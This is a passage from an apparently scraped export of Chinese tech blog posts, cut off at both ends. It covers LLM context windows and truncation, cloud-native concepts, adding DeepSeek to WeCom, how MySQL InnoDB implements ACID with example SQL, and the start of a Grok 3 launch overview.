🤔 ：不对呀，如果按照你这么说，那么我每轮对话的输入+输出 都很长的话，那么用不了几轮就超过模型限制无法使用了啊。可是我却能正常使用，无论多少轮，模型都能响应并输出内容。\n这是一个非常好的问题，这个问题涉及下一个概念，我把它叫做 “上下文截断”\n上下文截断 在我们使用基于大模型的产品时（比如 DeepSeek、智谱清言），服务提供商不会让用户直接面对硬性限制，而是通过 “上下文截断” 策略实现“超长文本处理”。\n举例来说：模型原生支持 64K，但用户累计输入+输出已达 64K ，当用户再进行一次请求（比如输入有 2K）时就超限了，这时候服务端仅保留最后 64K tokens 供模型参考，前 2K 被丢弃。对用户来说，最后输入的内容被保留了下来，最早的输入（甚至输出）被丢弃了。\n这就是为什么在我们进行多轮对话时，虽然还是能够得到正常响应，但大模型会产生 “失忆” 的状况。没办法，Context Window 就那么多，记不住那么多东西，只能记住后面的忘了前面的。\n这里请注意，“上下文截断” 是工程层面的策略，而非模型原生能力 ，我们在使用时无感，是因为服务端隐藏了截断过程。\n到这里我们总结一下：\n上下文窗口（如 64K）是模型处理单次请求的硬限制，输入+输出总和不可突破； 服务端通过上下文截断历史 tokens，允许用户在多轮对话中突破 Context Window限制，但牺牲长期记忆 上下文窗口限制是服务端为控制成本或风险设置的策略，与模型能力无关 各模型参数对比 各模型厂商对于 最大输出长度和上下文长度的参数设置是不一样的，我们以 OpenAI 和 Anthropic 为例，概览一下：\n上图中，Context Tokens 就是上下文长度，Output Tokens 是最大输出长度。\n技术原理 为什么要有这些限制呢？从技术的角度讲比较复杂，我们简单说一下，感兴趣的可以顺着关键词再去探索一下。\n在模型架构层面，上下文窗口是硬性约束，由以下因素决定：\n位置编码的范围：Transformer 模型通过位置编码（如 RoPE、ALiBi）为每个 token 分配位置信息，其设计范围直接限制模型能处理的最大序列长度。\n自注意力机制的计算方式：生成每个新 token 时，模型需计算其与所有历史 token（输入+已生成输出） 的注意力权重，因此总序列长度严格受限。KV Cache 的显存占用与总序列长度成正比，超过窗口会导致显存溢出或计算错误。\n典型场景与应对策略 既然知道了最大输出长度和上下文长度的概念，也知道了它们背后的逻辑和原理，那么我们在使用大模型工具时就要有自己的使用策略，这样才能事半功倍。\n短输入 + 长输出 场景：输入 1K tokens，希望生成长篇内容。 配置：设置 max_tokens=63,000（需满足 1K + 63K ≤ 64K）。 风险：输出可能因内容质量检测（如重复性、敏感词）被提前终止。 长输入 + 短输出 场景：输入 60K tokens 的文档，要求生成摘要。 配置：设置 max_tokens=4,000（60K + 4K ≤ 64K）。 风险：若实际输出需要更多 tokens，需压缩输入（如提取关键段落）。 多轮对话管理\n规则：历史对话的累计输入+输出总和 ≤ 64K（超出部分被截断）。\n示例：\n第1轮：输入 10K + 输出 10K → 累计 20K\n第2轮：输入 30K + 输出 14K → 累计 64K\n第3轮：新输入 5K → 服务端丢弃最早的 5K tokens，保留最后 59K 历史 + 新输入 5K = 64K。\n","date":"2025-03-03T06:01:21Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-03-03-da-mo-xing-he-xin-gai-nian-ke-pu-token-shang-xia-wen-chang-d/cover.jpg","permalink":"/p/2025-03-03-da-mo-xing-he-xin-gai-nian-ke-pu-token-shang-xia-wen-chang-d/","title":"大模型核心概念科普：Token、上下文长度、最大输出，一次讲透"},{"content":"啥是云？ 说起云原生（cloud native），就不得不说明一下 “云” 是啥。\n简单理解，云就是 “云计算”，如果给它下个定义的话是这样的：\n云\u0026quot; 特指以云计算模型构建的现代化动态环境\n为什么叫 云 呢？它怎么不叫其他的什么呢？\n这个吧，就像你问马云为什么叫马云一样，那是因为给他起名的家长就是这么定的。对，云计算也是如此，计算机领域的专家就是这么定的。后来成了专业术语，大家都这么说。那你说叫 “云” 有没有道理呢？ 有道理。\n我们类比地看，如果你将 “资源” 看成水的话，那么在天空上自由自在、飘来飘去的云就是资源的载体，在你有需要的时候，“呼风唤雨🌧️” ，一朵带着雨水（资源）的积雨云就能为你带来一场甘霖（你需要的资源）。\n云在天上，不在地下，不像以前（过去的架构），你想吃水了得自己挖井，现在你可以 “呼风唤雨” 叫云给你水。而且很好管理和维护。所以你看，用 “云” 这个字还是有道理的。\n“云” 可以有多种形态 云还有多种形态，一般来说有以下三种：\n公有云（Public Cloud）： 由第三方云计算提供商（如 AWS、Azure、Google Cloud、阿里云、腾讯云等）拥有和运营，面向公众提供服务。 私有云（Private Cloud）： 由企业或组织自己拥有和运营，仅供内部使用。私有云可以部署在企业自己的数据中心，也可以托管给第三方提供商。 混合云（Hybrid Cloud）： 结合了公有云和私有云的优势，允许应用程序和数据在两者之间迁移和共享。 还是用吃水比喻，公有云就像 “自来水”，打开水管就能喝。私有云就像自己找水源，自己挖井，自己舀水喝。混合云自然就是这两种的混合。\n资源有啥？ 说完了云，我们该说水了，云是提供资源的，那么具体有哪些资源呢？什么东西是云可以提供给我们的呢？你可能想到了：“嗨，不就是服务器嘛”。\n其实 “资源” 是一个多维度的概念，远不止硬件设备。我们展开说说。\n首先是：基础资源，它包括：\n计算资源（CPU/GPU/FPGA） 存储资源（磁盘 / SSD / 对象存储） 网络资源（带宽 / IP / 负载均衡） 内存资源（RAM） 然后是抽象服务，比如：\n容器编排（Kubernetes（EKS/GKE/ACK）、Nomad） 数据库服务（AWS RDS、阿里云 RDS） 消息队列（Kafka 云托管、AWS SQS、RabbitMQ） 接着是管理与安全，比如：\n身份权限（AWS IAM、阿里云 RAM、Azure AD） 监控告警（Prometheus 云托管、Datadog、阿里云 ARMS） 日志分析（ELK Stack 云服务、Splunk） 安全防御（阿里云 WAF） 最后是高阶能力，比如：\nServerless（AWS Lambda、阿里云 FC） 服务网格（Istio、Linkerd） 边缘计算（AWS Wavelength、阿里云 ENS） 量子计算（AWS Braket、Azure Quantum） 我上面举的只是一些常见的例子，其实每一个分类下的资源条目是非常多的。所以你看，“资源” 可不止服务器那么简单，它是多维度的。现在几乎你能用的到的东西都上云了，都是资源。就算没有，经不住人家云厂商包装啊，只要你有需求，人家就有产品卖你，哈哈。\n云原生 云其实还是比较好理解的，但是云原生（cloud native）就比较抽象了，在我刚接触这个概念的时候是一头雾水，无论别人给我讲，还是我给别人讲总是说不清楚，或者人家听不懂。\n我们还是先来说说定义吧，我找到 CNCF （https://github.com/cncf/toc/blob/main/DEFINITION.md）的一个定义，算比较权威了。\n云原生技术有利于各组织在公有云、私有云和混合云等新型动态环境中，构建和运行可弹性扩展的应用。云原生的代表技术包括容器、服务网格、微服务、不可变基础设施和声明式 API。\n这些技术能够构建容错性好、易于管理和便于观察的松耦合系统。结合可靠的自动化手段，云原生技术使工程师能够轻松地对系统作出频繁和可预测的重大变更。\nCloud native practices empower organizations to develop, build, and deploy workloads in computing environments (public, private, hybrid cloud) to meet their organizational needs at scale in a programmatic and repeatable manner. It is characterized by loosely coupled systems that interoperate in a manner that is secure, resilient, manageable, sustainable, and observable.\n说实话，如果你没有在这个领域干过，光看定义是不容易理解的。甚至就算在云原生环境下从事开发的工程师，如果不认真思考、理解，也不能把什么是“云原生” 讲的很明白。\n原因是这个概念本来就比较抽象。所以我不用 CNCF 的定义，换一种说法来描述一下什么是 “云原生”\n云原生是一种以云计算基础设施为基石，通过容器化封装、微服务拆分、声明式 API 和自动化运维，将应用的非功能需求（如弹性扩缩、故障自愈、安全策略）交由云平台管理的架构范式。其本质是通过技术手段让业务代码与底层资源解耦，使开发者只需关注业务逻辑，而由云平台自动处理部署、监控、容灾等复杂性。\n你看，我这样说是不是清晰一些了？ 更好理解一些了？还没有？接着往下看。\n本质 透过现象看本质，概念怎么说都行，重要的是要理解这个东西的本质。\n那我们就来看一看 “云原生” 的本质 ：\n云原生并非单纯的技术集合，而是一种 “以应用为中心” 的思维模式。它通过标准化技术栈（容器 / K8s / 微服务），将云计算从 “资源层” 提升到 “应用层”，让企业能像使用水电一样按需使用计算能力。它的目标是让技术复杂性对业务透明化。\n说到这里，我们就不得不说一下为什么要使用或推崇“云原生”了。\n云原生的出现源于传统应用架构在云计算时代的局限性。\n传统架构有许多痛点，做的传统开发的同学一定都知道，比如：\n部署效率低：传统应用依赖物理服务器或虚拟机，部署流程复杂（如手动配置环境、依赖冲突）。 扩展性差：单体架构难以应对流量突增，扩容需要数小时甚至数天。 运维成本高：故障恢复、监控、日志收集等运维工作需人工干预。 环境不一致：开发、测试、生产环境差异导致 “在我机器上能跑” 的问题。 采用 “云原生” 技术栈及应用架构可以有效的解决上面的所有问题。\n什么是不可替代的？ 不得不说，Docker 和 Kubernetes 技术的出现给了 “云原生” 极大的助力。那如果没有 Docker 和 Kubernetes 呢？ 云原生这个概念还立得住吗？\n其实，云原生概念的出现（2010 年 Netflix 提出）比 Docker（2013）和 Kubernetes（2014）更早。核心思想在容器技术普及前就已萌芽。所以：云原生本质是一种架构哲学，而非特定技术捆绑\n那么我们紧接着下一个问题就是：什么是云原生的核心内容，有什么是缺一不可的呢？或者说缺了什么就不能算是云原生了呢？\n总结来说，有四大支柱：\n弹性伸缩（Elasticity） 必须能力：根据负载自动扩缩资源 替代方案：AWS Lambda（Serverless）、Nomad（非 K8s 编排器） 故障自愈（Resilience） 必须能力：服务熔断、重试、健康检查 替代方案：Hystrix（微服务容错库）+ Consul（服务发现） 声明式管理（Declarative） 必须能力：通过 YAML/JSON 描述目标状态，而非手动操作 替代方案：Terraform（基础设施即代码）+ Ansible（配置管理） 自动化交付（Automation） 必须能力：CI/CD 流水线、蓝绿部署 替代方案：GitLab CI + Spinnaker（持续交付平台） 云原生的 “复杂性悖论” 云原生看起来真好呀，但事实是这样吗？对于软件开发，我们都知道一句著名的话：“没有银弹”，是的。云原生也不是哪儿哪儿都好，它也有它的问题。\n云原生存在一个看似矛盾的现象：它承诺降低业务复杂性，却引入了新的技术复杂性。\n这种矛盾的核心在于技术栈的 “分层复杂性转移”：\n传统架构的复杂性集中在应用层（如单体重构困难、环境配置混乱） 云原生的复杂性下沉到基础设施层（如 K8s 集群运维、Istio 配置） 对企业而言，这相当于用 “可控的工程复杂度” 替代 “不可控的业务阻塞风险”。但关键在于，这种转移是否真正带来净收益。\n说白了，你要会“算账”，在成本一定的情况下，要有所取舍，到底要不要上“云原生”，不是技术本身决定的。\n云原生有它的显性与隐性成本：\n技术债务：K8s 版本升级兼容性问题、Helm Chart 维护 人力成本：需要 DevOps 工程师（平均薪资比开发高 30%+） 认知负担：团队需掌握容器、服务网格、声明式 API 等新范式 工具链成本 ：监控（Prometheus+AlertManager）、日志（EFK）、追踪（Jaeger）的集成和维护 有成本当然也有收益：\n部署效率：从手动部署 1 小时 → 全自动 CI/CD 5 分钟（效率提升 12 倍） 资源利用率 ：虚拟机静态分配 → 容器动态调度（CPU 利用率从 15% 提升至 60%+） 故障恢复速度：人工排查 1 小时 → 自动熔断 + 滚动更新（MTTR 从 60 分钟降至 5 分钟） 业务敏捷性：新功能上线周期从 1 个月 → 1 周（迭代速度提升 4 倍） 所以，关键是要根据你的实际情况 “算账”，一般来说，当企业规模超过临界点（通常≥50 个微服务 / 日部署次数≥10 次），云原生的收益将显著超越成本。\n结论 所以说了半天云原生到底是什么？ 我不知道你明白了没有，我们上面林林总总写了那么多技术点，如果初次接触确实很头大。但这不重要。\n因为：云原生不是工具集，而是「工业化软件生产」的方法论升级\n用制造业的思维来理解：\n传统软件交付 ≈ 手工作坊（每个陶器需手工塑形、烧制） 云原生交付 ≈ 汽车生产线（标准化零件 + 自动化流水线 + 质量检测体系） 如果你面试的时候，面试官让你谈谈对云原生的理解，我希望你能够把这篇文章的精华吸收了，从一个比较高的层次来谈，我不希望给你一个中规中矩的回答模板，虽然它是正确的，比如以下这样：\n“云原生是云计算时代的一种架构范式，旨在通过标准化技术栈（如容器、K8s）和自动化运维体系，将非业务功能（如弹性扩缩、故障自愈）从应用代码中剥离，由云平台接管。其核心驱动力是解决传统单体应用部署慢、环境不一致、扩展难的问题。\n从技术分层看，云原生包含：\n基础设施层：Docker 实现环境一致性，K8s 完成资源调度，比如我们通过 Deployment 的滚动更新实现零停机发布； 应用架构层：微服务拆分业务能力，Istio 服务网格处理服务间通信的熔断、监控，例如在订单服务中配置超时自动重试； 交付运维层：GitOps 工具链（如 Argo CD）确保声明式配置的版本可控，配合 Prometheus+Grafana 实现实时监控。 关键设计原则包括不可变基础设施（容器镜像一次构建多次运行）、声明式 API（通过 YAML 描述目标状态而非手动操作）。但引入云原生也带来挑战，比如团队需要掌握复杂的 K8s 生态，我们通过建设内部开发者平台（IDP）封装底层细节，让开发者只需关注业务代码。”\n云原生应用 什么样的应用是云原生的？ 一个应用是否云原生，而要看是否具备以下特征：\n容器化部署： 应用打包为 Docker 镜像，在 Kubernetes 集群中运行。 示例：电商大促时，通过 HPA（水平扩缩）自动增加订单处理服务的 Pod 数量。 微服务架构： 业务拆分为独立服务（如用户服务、支付服务），通过 API 通信。 示例：视频网站将视频转码服务独立部署，利用 GPU 节点加速，不影响主站稳定性。 DevOps 流水线： 代码提交后自动触发 CI/CD，完成测试、镜像构建、灰度发布。 示例：金融 App 通过蓝绿部署实现零停机更新，降低发布风险。 依赖云原生中间件： 使用云托管的数据库（如 AWS RDS）、消息队列（如 Kafka on K8s）、缓存（如 Redis Cluster）。 示例：社交平台用云原生数据库 TiDB 处理海量关系数据，自动分片扩容。 跨云与混合云兼容： 应用设计不绑定特定云厂商，可在 AWS、Azure、私有云间迁移。 示例：跨国企业采用 Anthos 实现跨公有云和本地数据中心的统一管理。 最后 云原生不是终点，而是通往智能软件时代的必由之路。当我们将视角从工具本身移开，看到的是一场关于效率、可靠性与创新速度的认知革命。正如 Linux 之父 Linus Torvalds 所说：“技术终将老去，但优秀的架构思想永存。” 在这场变革中，比掌握某个工具更重要的，是建立持续进化的云原生思维体系。\n","date":"2025-02-22T04:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-02-22-yun-yuan-sheng-ni-zhen-de-dong-le-ma/cover.jpg","permalink":"/p/2025-02-22-yun-yuan-sheng-ni-zhen-de-dong-le-ma/","title":"云原生，你真的懂了吗？"},{"content":"企业微信可以接入 DeepSeek 了，看看有没有灰度到你，具体接入步骤如下：\n第一步 进入企业微信管理后台，在页面上方的菜单栏中点击 “安全管理”，然后再点击 “智能机器人”\n第二步 进入页面后，点击 “创建机器人”\n第三步 创建你的机器人，注意看下模型，我这里 DeepSeek 是 “灰度中，敬请期待” ，也许你那里不是，如果可用就可以直接选择 DeepSeek 了，我现在只能选择 Hunyuan 了\n其他信息你自己自定义就可以了。\n第四步 机器人创建成功后，你就可以在 通讯录 看到这个机器人并开始对话使用了。\n","date":"2025-02-21T02:57:25Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-02-21-qi-ye-wei-xin-ru-he-jiang-ru-deepseek/cover.jpg","permalink":"/p/2025-02-21-qi-ye-wei-xin-ru-he-jiang-ru-deepseek/","title":"企业微信如何将入 DeepSeek"},{"content":"ACID 是什么？ 事务处理中的 ACID 是确保数据库操作可靠性和完整性的四个核心特性\n属性 说明 示例 原子性（Atomicity） 事务是不可分割的最小操作单元，事务中的所有操作要么全部成功完成，要么全部失败回滚。 用户在线购买书籍时的支付流程： ①支付扣款 ②库存扣减 ③快递下单三个步骤必须全部成功——任一步骤失败时（如库存不足），系统自动取消已付金额，退回到购物未进行状态。 一致性（Consistency） 事务必须保证数据库从一个一致性状态转变到另一个一致性状态。一致性是指数据必须符合预定义的规则和约束，例如完整性约束、业务规则等。 银行转账场景： 账户A向账户B转200元后，两人账户总额保持不变（若A+B原为1000元，操作完成后仍为1000）。即便系统中途崩溃，恢复后也不会出现A扣200元但B未入账的金额\u0026quot;凭空消失\u0026quot;。 隔离性（Isolation） 多个事务并发执行时，每个事务都应该感觉不到其他事务的存在，就像在隔离的环境中执行一样。事务之间互相隔离，不会互相影响。 航班订座系统： 当乘客A和B同时选择最后一个座位，先完成支付者的订单立即锁定座位，另一用户将实时看到\u0026quot;无余票\u0026quot;提示——避免出现系统误判导致超售。 持久性（Durability） 一旦事务提交成功，对数据库的修改就应该是永久性的，即使系统发生崩溃或重启等意外情况，数据也不会丢失。 线上预约挂号确认： 用户成功提交预约后，即便医院服务器遭遇断电，重启后系统依然保留该条预约记录并发送确认短信，不会因突发意外丢失数据。 MySQL 是如何保证 ACID 的？ MySQL 实现 ACID 特性主要依赖 日志系统（undo log 和 redo log）、锁机制 和 MVCC 多版本并发控制。下面是具体实现原理的详细分析：\n一、Atomicity（原子性） 事务是不可分割的最小执行单位。原子性确保事务中的所有操作要么全部成功完成，要么全部失败回滚。不允许中间状态。MySQL 通过 Undo Log + 事务回滚 实现原子性：\n当事务开始时，InnoDB 会记录事务修改前的数据（旧版本）到 Undo Log 中，用于事务回滚时恢复原始状态。\nUndo Log 记录结构包含：原始数据值、事务ID（trx_id）、回滚指针（roll_pointer）。\nUndo Log 记录的是逻辑操作，例如 \u0026ldquo;删除第 10 行\u0026rdquo;，\u0026ldquo;将字段 \u0026rsquo;name\u0026rsquo; 从 \u0026lsquo;old\u0026rsquo; 更新为 \u0026rsquo;new\u0026rsquo;\u0026rdquo; 等。\n举个简单例子：\n1-- 事务未提交时，其他事务通过Undo Log读取原始数据（MVCC） 2BEGIN; 3UPDATE accounts SET balance = balance - 100 WHERE id = 1; 4-- 此时Undo Log会记录balance的旧值（如200） 5ROLLBACK; -- 使用Undo Log恢复数据 如果事务执行过程中发生错误或者用户显式执行 ROLLBACK，InnoDB 可以根据 Undo Log 中的记录将数据恢复到事务开始之前的状态，从而实现事务的回滚\n二、Isolation（隔离性） 隔离性 (Isolation) 是 ACID 特性中的关键一环，它确保在多个事务并发执行时，每个事务都仿佛独立运行，互不干扰。 换句话说，一个事务的中间状态和操作不应该被其他并发事务感知到，从而避免数据混乱和不一致。 为了实现这种隔离效果，MySQL 的 InnoDB 存储引擎主要依赖于两大核心机制：锁机制 (Locking) 和 多版本并发控制 (MVCC)\n1. 锁机制 首先，锁机制是最基础的隔离手段。InnoDB 实现了多种锁类型，以适应不同的并发场景和隔离需求。 其中，行级锁 是 InnoDB 并发控制的核心，它允许事务仅锁定需要修改的数据行，最大程度地提高了并发度。 行级锁又细分为 共享锁 (S 锁) 和 排他锁 (X 锁)，前者允许多个事务同时读取同一行数据，而后者则保证在更新或删除数据时，只有一个事务可以独占该行。\n除了行级锁，MySQL 还提供 表级锁，它会锁定整个表，虽然并发度较低，但在某些特定场景（如执行 LOCK TABLES 语句）下仍然适用。\n为了更高效地管理锁，InnoDB 引入了 意向锁 (Intention Locks)，它在表级别上预先声明事务对行级锁的意图，从而优化锁的检查和兼容性。\n此外，在 REPEATABLE READ 和 SERIALIZABLE 这两个较高的隔离级别下，为了解决幻读问题，InnoDB 还使用了 间隙锁 (Gap Locking)，它不仅锁定已存在的记录，还锁定索引记录之间的间隙，防止其他事务在该间隙中插入新记录，从而彻底避免幻读。\n我们通过一个具体的例子来说明 InnoDB 的 间隙锁（Gap Locking） 如何解决幻读问题：\n假设有一张表 students，存储学生信息，主键为 id，当前数据如下：\nid name 1 Alice 3 Bob 5 Charlie 现在有两个事务 事务A 和 事务A，操作顺序如下：\n事务A 执行范围查询并加锁：\n1BEGIN; 2SELECT * FROM students WHERE id BETWEEN 1 AND 5 FOR UPDATE; 3-- 查询结果：id=1, 3, 5 InnoDB 会为 id 索引加上 Next-Key Lock（行锁 + 间隙锁），锁定的范围包括：\n(-∞, 1] (1, 3] (3, 5] (5, +∞) （注：假设表中无其他数据） 事务B 尝试插入新数据：\n1BEGIN; 2INSERT INTO students (id, name) VALUES (2, \u0026#39;David\u0026#39;); -- 尝试插入到间隙 (1,3) 3-- 或者 4INSERT INTO students (id, name) VALUES (4, \u0026#39;Eve\u0026#39;); -- 尝试插入到间隙 (3,5) 由于 事务A 的间隙锁锁定了 (1,3) 和 (3,5) 的间隙，事务B 的插入操作会被阻塞，直到 事务A 提交或回滚。\n事务A 提交：\n1COMMIT; 事务B 的插入操作才会继续执行。\n结果对比\n没有间隙锁： 若事务A未加间隙锁（例如使用 READ COMMITTED 隔离级别），事务B可以插入 id=2 或 id=4。当事务A再次执行 SELECT 时，会看到新插入的行（id=2 或 4），导致幻读。\n有间隙锁： 事务B的插入操作被阻塞，直到事务A释放锁。事务A在事务执行期间始终看到相同的数据（id=1,3,5），避免幻读。\n关键点 间隙锁的锁定范围： InnoDB 的间隙锁不仅锁定已存在的行，还会锁定索引记录之间的“间隙”（例如 (1,3) 和 (3,5)），阻止其他事务在间隙中插入新数据。\nNext-Key Lock 的作用： Next-Key Lock = 行锁（锁定已存在记录） + 间隙锁（锁定间隙）。例如，对 id=3 的行锁会锁定范围 (1,3]。\n隔离级别的影响： 间隙锁仅在 REPEATABLE READ 隔离级别下生效。在 READ COMMITTED 级别下，InnoDB 会禁用间隙锁，幻读仍可能发生。\n在实际场景中，比如在电商系统中，若一个事务正在统计某商品（例如库存范围在 100~200）的订单数量，间隙锁可以防止其他事务插入新的订单记录（例如库存为 150 的商品），确保统计结果的一致性。\n2. MVCC 为了进一步提升并发性能，尤其是在读多写少的场景下，InnoDB 引入了 多版本并发控制 (MVCC)。 MVCC 的核心思想是允许事务在读取数据时，访问数据在某个时间点的快照版本，而不是直接读取最新的数据。 这样，读操作就不需要等待写操作完成，从而实现读写并发执行，显著提高了系统吞吐量。 MVCC 的实现依赖于 Undo Log 和 Read View (快照读)。 Undo Log 用于记录数据的历史版本，而 Read View 则定义了事务在读取数据时应该看到哪个版本的数据。MVCC 主要应用于 READ COMMITTED 和 REPEATABLE READ 这两个隔离级别，在这两个级别下，MVCC 可以有效减少锁的竞争，提升并发性能。\n总结来说：MVCC 就是基于隐藏字段、undo_log 链和 ReadView 来实现的\n3. 隔离级别与策略对比 最后，为了满足不同应用场景对隔离程度和性能的不同需求，MySQL 提供了 四种事务隔离级别。 从最低的 READ UNCOMMITTED (读未提交) 到最高的 SERIALIZABLE (串行化)，隔离级别依次增强，但并发性能也随之降低。\nREAD UNCOMMITTED 允许脏读，隔离性最弱，但性能最高； READ COMMITTED 避免了脏读，但可能出现不可重复读； REPEATABLE READ (InnoDB 默认级别) 在 READ COMMITTED 的基础上解决了不可重复读，但仍可能存在幻读（在某些情况下，InnoDB 通过 Next-Key Locking 尝试解决幻读）； SERIALIZABLE 通过强制事务串行执行，彻底避免了所有并发问题，但并发性能也最低。 隔离级别 脏读 不可重复读 幻读 实现方式 READ UNCOMMITTED ✔️ ✔️ ✔️ 无锁 READ COMMITTED ✖️ ✔️ ✔️ 每个SELECT生成新Read View REPEATABLE READ* ✖️ ✖️ ✖️△ 首SELECT生成Read View + 间隙锁 SERIALIZABLE ✖️ ✖️ ✖️ 所有SELECT隐式转成SELECT ... FOR UPDATE △：MySQL通过Next-Key Lock（行锁+间隙锁组合）在REPEATABLE READ级别实际消除幻读。\n三、Durability（持久性） 持久性 (Durability) 是 ACID 特性中保障数据安全性的最后一道防线。 它确保一旦事务成功提交，对数据库所做的所有更改都必须被永久地保存下来，即使系统随后发生崩溃、断电或任何其他类型的故障，已提交的数据也绝不会丢失。 为了实现这种强大的数据保障，MySQL 的 InnoDB 存储引擎采用了一系列精密的机制，其中最核心的是 Redo Log (重做日志)，并辅以 Write-Ahead Logging (WAL) 策略、 Doublewrite Buffer (双写缓冲区) 和灵活的 刷盘 (Flush to Disk) 机制，同时，Binlog (二进制日志) 也从更广泛的层面为数据持久性提供了支持。\n首先，Redo Log 是 InnoDB 实现持久性的基石。 当一个事务执行过程中，InnoDB 并不会立即将数据页的修改直接写入磁盘上的数据文件，而是先将这些修改操作，例如插入、更新或删除的具体内容，以一种紧凑、高效的形式，顺序地记录到 Redo Log Buffer 中。 这里的 Redo Log 记录的是物理层面的修改，例如“将数据页 X 的偏移量 Y 处的 Z 个字节修改为新的值”。 为了保证效率，Redo Log Buffer 存在于内存中，但为了确保持久性，InnoDB 会定期或者在事务提交时，将 Redo Log Buffer 中的内容刷新到 Redo Log 文件 这一磁盘上的持久化存储。\n为了进一步确保数据在极端情况下的安全性，InnoDB 遵循 Write-Ahead Logging (WAL) 预写式日志 策略。 这意味着，在任何数据页的实际修改被写入磁盘数据文件之前，必须先将相应的 Redo Log 记录落盘到 Redo Log 文件中。 这种 “先写日志，后写数据” 的机制至关重要，它保证了即使在数据页尚未完全刷入磁盘时系统发生崩溃，已经提交的事务的所有修改操作也已经安全地记录在 Redo Log 中，从而为后续的数据恢复提供了保障。\nDoublewrite Buffer (双写缓冲区) 是 InnoDB 为了应对数据页“部分写失效 (Partial Write)” 问题而引入的增强机制。 在数据页从内存刷新到磁盘数据文件的过程中，可能会因为断电等意外情况，导致数据页只写入了一部分，造成数据损坏。 为了避免这种情况，InnoDB 在数据页最终写入数据文件之前，会先将其完整地写入 Doublewrite Buffer 区域。 Doublewrite Buffer 是磁盘上一个连续的存储区域，InnoDB 会先顺序写入，保证写入的原子性。 之后，再将数据页从 Doublewrite Buffer 拷贝到真正的数据文件位置。 这样，即使在数据页写入过程中发生崩溃，InnoDB 在重启恢复时，可以通过 Doublewrite Buffer 检查数据页的完整性。 如果发现数据页写入不完整或已损坏，可以从 Doublewrite Buffer 中找到该数据页的完整副本进行恢复，从而有效地避免了数据页部分写入导致的数据丢失。\nFlush to Disk 机制 则提供了对 Redo Log 和数据页刷盘行为的精细控制。 MySQL 提供了多个参数，例如 innodb_flush_log_at_trx_commit 参数控制 Redo Log 何时刷盘，可以设置为每次事务提交都刷盘 (最安全，但性能较低)，或者定期刷盘 (性能较高，但可能在崩溃时丢失少量已提交事务)。 innodb_flush_method 参数则控制数据页刷盘的具体方式，例如是否绕过操作系统缓存直接写入磁盘，以满足不同的性能和可靠性需求。 通过调整这些刷盘策略，用户可以在数据安全性和性能之间进行权衡，根据实际业务场景选择合适的配置。\n最后，虽然 Binlog (二进制日志) 的主要用途是用于数据库的主从复制和时间点恢复，但它也间接地为数据持久性做出了贡献。 Binlog 记录了数据库中所有的数据变更操作 (逻辑操作，例如 SQL 语句)，这些日志可以用于数据库的备份和恢复，特别是当需要进行全量或增量备份，或者需要恢复到某个特定的时间点时，Binlog 就显得至关重要。 虽然 Binlog 的关注点和 Redo Log 略有不同 (Redo Log 侧重于崩溃恢复，Binlog 侧重于时间点恢复和复制)，但它们都为确保数据的长期安全性和可恢复性提供了重要的支持。\n总结来说：MySQL InnoDB 通过 Redo Log + WAL 策略 保障事务提交的修改能够被可靠地记录下来， Doublewrite Buffer 增强了数据页写入的可靠性，Flush to Disk 机制 提供了灵活的刷盘控制，而 Binlog 则从更广泛的层面支持数据备份和时间点恢复。 这些机制相互配合，共同构建了持久性保障体系。\n四、Consistency（一致性） 事务必须保证数据库从一个一致性状态转变到另一个一致性状态。一致性是指数据库的完整性约束没有被破坏。例如，主键唯一性、外键约束、CHECK 约束等。\n约束 (Constraints): MySQL 支持各种约束，如主键 (PRIMARY KEY)、外键 (FOREIGN KEY)、唯一键 (UNIQUE)、非空 (NOT NULL)、检查约束 (CHECK) 等。这些约束在数据写入时被强制执行，确保数据满足预定义的规则。 触发器 (Triggers): 触发器是与表关联的存储程序，在特定事件 (如 INSERT、UPDATE、DELETE) 发生时自动执行。触发器可以用于实现更复杂的业务规则和一致性检查。 应用程序逻辑: 虽然 MySQL 提供了约束和触发器，但最终的数据一致性也需要应用程序逻辑来保证。例如，业务逻辑需要确保事务操作符合业务规则，才能维持数据库的一致性状态。 其实对于一致性来说，它是其他三者（原子性、隔离性、持久性）的综合结果，辅以数据库约束和应用校验来共同保障最终一致性。\n总结 MySQL通过以下核心机制实现ACID：\nACID特性 核心机制 关键组件 原子性 Undo Log + 事务状态管理 Undo Log、事务控制块 一致性 约束 + ACID协同 主键、外键、触发器 隔离性 MVCC + 锁 + Next-Key Locks Read View、行锁、间隙锁 持久性 Redo Log + Doublewrite Buffer Redo Log、双写缓冲区 我们经常说的最终一致性是其他三个特性协同作用的结果，而非独立机制。当你理解了这些底层原理将会有助于优化事务设计（如合理选择隔离级别）和故障排查（如分析锁冲突）。\n","date":"2025-02-19T07:45:55Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-02-19-mian-shi-bi-wen-acid-ni-zhen-de-dong-le-ma/cover.jpg","permalink":"/p/2025-02-19-mian-shi-bi-wen-acid-ni-zhen-de-dong-le-ma/","title":"面试必问：ACID 你真的懂了吗？"},{"content":"Grok3 刚刚发布了 Grok3 马斯克称其为“地球上最聪明的人工智能”。发布会刚刚开完，我们来整体概览一下。\nGrok 3 的训练过程使用了显著增多的计算资源：\nGPU 使用量：\nGrok 3：使用了 10 万 个 NVIDIA H100 GPU 进行训练。 Grok 2：前代模型使用了约 2 万 个 H100 GPU GPU 小时数:\nGrok 3：累计训练时长达到 2 亿 GPU 小时（即 200 百万 GPU 小时）是前代产品的十倍 Grok 2：作为对比，其训练规模为 2000 万 GPU 小时（根据十倍差距推算）。 Grok 3 计算基础设施 Grok 3 是靠 xAI 自家造的\u0026quot;巨无霸\u0026quot;电脑 Colossus 训练出来的。这台超级电脑从零开始只花了八个月就造好了，用了足足 10 万个英伟达 H100 显卡，攒了超过 2 亿小时的算力总量——相当于 Grok 2 的十倍。\n有意思的是，他们最开始搭这个超大机房用了 122 天，后来技术越来越熟，把规模扩大一倍到 20 万块显卡，只用了 92 天，比第一次快了一个月！\nGrok 3 有什么？ 这么多 GPU 训练出来的 Grok3 是由什么构成的呢？\n整体来看还是包括我们现在熟悉的这些内容：推理、思考、Agent\n当然，作为普通用户我们更关心的是有哪些实用的、新的功能。通过下图可以一览无余：\n可以看到，DeepSearch 和 Think 类似 DeepSeek 的 “深度思考” 和“联网搜索”\n从发布会的演示来看，与 DeepSeek 不同的是，Grok 3 的 DeepSearch 会把搜索的思考链路也展示出来。\n至于 Big Brain , 其实就是 